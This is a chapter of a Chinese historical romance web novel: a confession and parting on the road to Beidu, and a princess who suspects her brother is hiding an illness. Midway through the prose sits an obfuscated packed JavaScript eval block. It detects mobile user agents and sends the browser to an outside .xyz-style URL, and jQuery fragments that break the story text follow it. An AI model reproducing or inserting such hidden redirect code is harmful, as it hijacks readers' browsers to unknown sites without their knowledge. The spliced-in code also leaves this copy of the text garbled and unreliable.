珂宁勒住了马,停下,转头看向沈星河,“你就送我到这儿吧。”
“我送你过了陈山关再说,你伤还没痊愈,万一路上遇上匪徒怎么办?”沈星河没答应她。
“不必了,我伤早就好了,而且过了陈山关,离北都就没多远了,你再送,你就送我到家了,你回去吧,接下来的路我就自己走了。”珂宁洒脱地朝他挥挥手,打马而去,留下沈星河停在原地,怅然若失。
他们已经相处了很长一段时间,从上京到北疆,再来滇南,可以说得上是天南地北都一起出游过了,他们出生入死过好几回,说是生死之交也不为过。
分别这日的到来,他没有想到会来的这么快。或许,是因为他从不曾想过他们会分开的这一日。
他忆起出发时,裴雁回单独留下他,与他说了一回,“珂宁这回回去,怕是不会再来咱们大盛了。”
“她是回去嫁人的。”
是了,人到了年纪总是要成家立业的,珂宁要嫁人,他有什么资格反对。
只是,为何他心中却莫名不是滋味,不想要她嫁给旁人。
他说送她,一送再送,到了此刻,已经送她过了几座山,跨了几条河,他还是没想明白,他为何不想要珂宁回去嫁人。
珂宁的身影终于消失在他的眼里,他心一紧,不自觉地就打马又追了上去,两旁风从他鬓边呼呼刮过,是自由的风,他忽而就想明白了他这几日为何一送再送。
他很快就再一次追上了珂宁,珂宁勒住马,哭笑不得,“你干嘛又追上来,你当真要送我回到北都,那我是不是还得送你再回滇南?”
“是,我想随你回北都。”沈星河不再犹豫,“我不想你嫁给别人。”
“啊?”珂宁茫然。
沈星河看着她的眼睛,呼吸还有些急促,“我喜欢你,你不要回北都嫁给别人,好不好?”
珂宁就更懵了,“啊?”
沈星河眼神一黯,刚刚风带给他的勇气,在这一刻也随风而去,“我明白了,那就祝你一路顺风。”
“你先等等,你说什么呢,我一句都没明白。”珂宁糊里糊涂。
“我什么时候说了我回北都是嫁人的?”珂宁挠了挠耳朵,发烫的有些痒。
“你不是回去嫁人,那你回去做什么?”沈星河也懵了,这怎么与公主告诉她的不一样。
“我师父要从所有弟子中选出下任掌门,所以催我回去。”珂宁解释了原因。
沈星河眼神又亮了起来,“那你也听见了我说我喜欢你。”
珂宁干巴巴地答应了一声,“嗯,我又没耳聋。”她捂嘴咳嗽着,掩饰着羞意。
沈星河又问她,“那你呢,你喜欢我吗?”
珂宁还从来没想过这种事,这会子被问懵了,她解下了腰间的那柄镶嵌了宝石的佩刀,这柄佩刀珂宁从不曾离身过,“给你。”
沈星河接过,他当然知道北都人从小不离身的佩刀给人是何意,他灿烂一笑,“所以你果然喜欢我。”
“你这个闷嘴葫芦这种时候,干嘛这么多话。”珂宁闹了个大红脸,“行吧,你当真要送我,那就随我会北都走一趟?”
沈星河想都没想答应了,“好。”
*
说去替她送行的人,送行了送了两日,人没回来,只是送回来了口信。
裴雁回心情尚好,如果不出她所料,那两个小鬼短时间内是不会出现在她面前了。
裴彦羲见她高兴,问她,“你愿意撮合那两个小鬼,怎么就不能原谅云归呢?”
正高兴的时候,听见无言的名字,裴雁回脸上笑意一时就变成了恼意,“哥,好好的,你提他做什么。”
这两日都没人在她面前,提起无言来,她也乐得佯装将人给忘在了脑后,旁人不敢提,她哥却是能从善如流提起,也不怕她生气。
“那你当真要一辈子都不理他?”裴彦羲又问。
“我说出去的话,就没有收回的道理。”裴雁回还在嘴硬呢,嘴硬之余又不自觉流露出了一丝她自己都没察觉的悔意。
裴彦羲没有给她再逃避此事的余地,又问她,“你真不喜欢他了?”
“我就知道,你总是向着他。”裴雁回气恼,背过身去不再看他。
“我是想说,你若不喜欢他了,那咱们就不理他了,大盛好男儿那般多,总能挑出个比他好的。”
“我的妹妹,自然是要这世上最好的男儿才能配得上。”
“少了个谢云归,难道还找不到别人了吗?”
裴雁回也不是十四五岁,提起心上人还会羞怯的小姑娘了。
只是有些怅然。
被她兄长一提,她想起了从前。
那时,她兄长是知晓她喜欢谢云归的,但谢云归早就有一门长辈定下的娃娃亲,在她朦朦胧胧明白那份喜欢之时,这么娃娃亲也并没有取消,她也不是恶人,做不出以势压人,让谢云归退了娃娃亲做她驸马这事情。
少年时,她只有一次,鼓起勇气,找了谢云归来,问他到底有没有话要对她说,如果他愿意说出来,她便做回恶人又有何妨,反正旁人说她娇纵也好,仗势欺人也罢,她都无所谓。
可是那时,谢云归什么也没说。
当时,她哥也是如此安慰她。
一晃八年过去,她哥又一次坐在她面前,还是为了她和谢云归从中调和。
裴彦羲忽而捂住了心口,眉头紧皱着,露出了几分苦楚来。
裴雁回立时就紧张起来,“哥,你怎么了?”
裴彦羲强压下去了那股疼意,恢复如常,又与裴雁回说笑起来,“我逗你的呢。”
“你别生气了。”
“哥,你怎能用这种事来吓我?”裴雁回更气了。
琢玉带着许茯苓匆匆忙忙赶来,一见裴彦羲好好的坐在那里,什么事都没有,一时要告退又被裴雁回叫住,让她顺便就给裴彦羲号脉一回,让她彻底安心。
“我当真无事,只是为了逗逗你。”裴彦羲无奈,解释了他妹也不听,只能伸出手去,让许茯苓号脉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173162|172645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
许茯苓仔细给他检查过,方才道:“太子殿下身体无碍,只是还有些体虚,休养些时日便好。”
“这下,你放心了吧?”裴彦羲放下了衣袖,温和的安抚着裴雁回的情绪。
裴雁回将信将疑,“他当真无碍?”
“是,公主。”许茯苓再一次肯定答复,裴雁回也只好暂时作罢。
“好了,时辰不早了,你早些回房休息吧。”裴彦羲起身,轻轻拍了拍她的头。
裴雁回回了自己的房间,坐在窗前,她有些心绪不宁,许是方才被吓了一跳,到现在为止还没有缓和过来。
“琢玉。”她唤了一声。
“诶,主子有何吩咐?”琢玉点好了安神香,走过去。
“这两日,他在忙什么?”裴雁回不经意拿了只木偶小狗在手上。
“主子是说谁?”琢玉没明白,裴雁回轻瞥了她一眼,她就懂了,立刻就说起来,“公子这两日正忙着与陈大将军一起收降整日跪在与南越交界的五里村的百姓。”
“是公子想出来的法子,两国交界本就有许多百姓是留着两边的血,若他们能会归降于大盛,再过几十年,他们也就成了大盛的百姓,又与南越人有血脉相连……”
琢玉说起来就没个停,裴雁回打断了她,“好了,我是问你他在做什么,不是让你夸他个没完的。”
“是,主子。”琢玉及时住口。
裴雁回又问,“他可有与兄长单独见过面?”
琢玉答道:“不曾,那日公子送咱们到此处便回了河罗镇上,就不曾再来过,公子也一直待在此处,哪有时间与太子殿下相见呢?”
“主子放心,他们不曾见过面。”
裴雁回心中疑虑半点没减。
琢玉适时的提醒,“主子,夜深了,早些歇着吧。”
裴雁回扭动着木偶小狗的爪子,不对劲,他们定有事情在瞒着她。
*
许茯苓取下了银针,又一次提醒裴彦羲,“太子殿下,此事您瞒不住公主的。”
取下银针后,原本就压制不住的疼意翻涌上心头,裴彦羲咬紧了木棍,才没有发出声响,等疼意过去,他身上那些奇异的伤口流出了黑色的浓郁的血水,将一池水都给染上了色。
半刻钟后,裴彦羲终于松开了木棍,回应着许茯苓的话,“能瞒她一时便是一时吧。”
“你一定要帮我瞒住她。”
许茯苓却不赞同,“太子殿下,有一句话我不知当不当说。”
“这些年,公主一直不曾放弃为求当年您身陨陨南巡之事的真相,如今您回来了,她很是高兴,可之后她若是知晓所有真相,只怕会比从前还难过。”
裴彦羲不如理会耳边那些呼唤,沉默了片刻方对许茯苓说,“我明白你的顾虑,只是我的时间不多了,在这之前我要处理完所有事。”
“此事,只有你知,我知,连谢云归若问起,你也不能告诉他。”
“我明白。”见劝不动裴彦羲,许茯苓也只得作罢。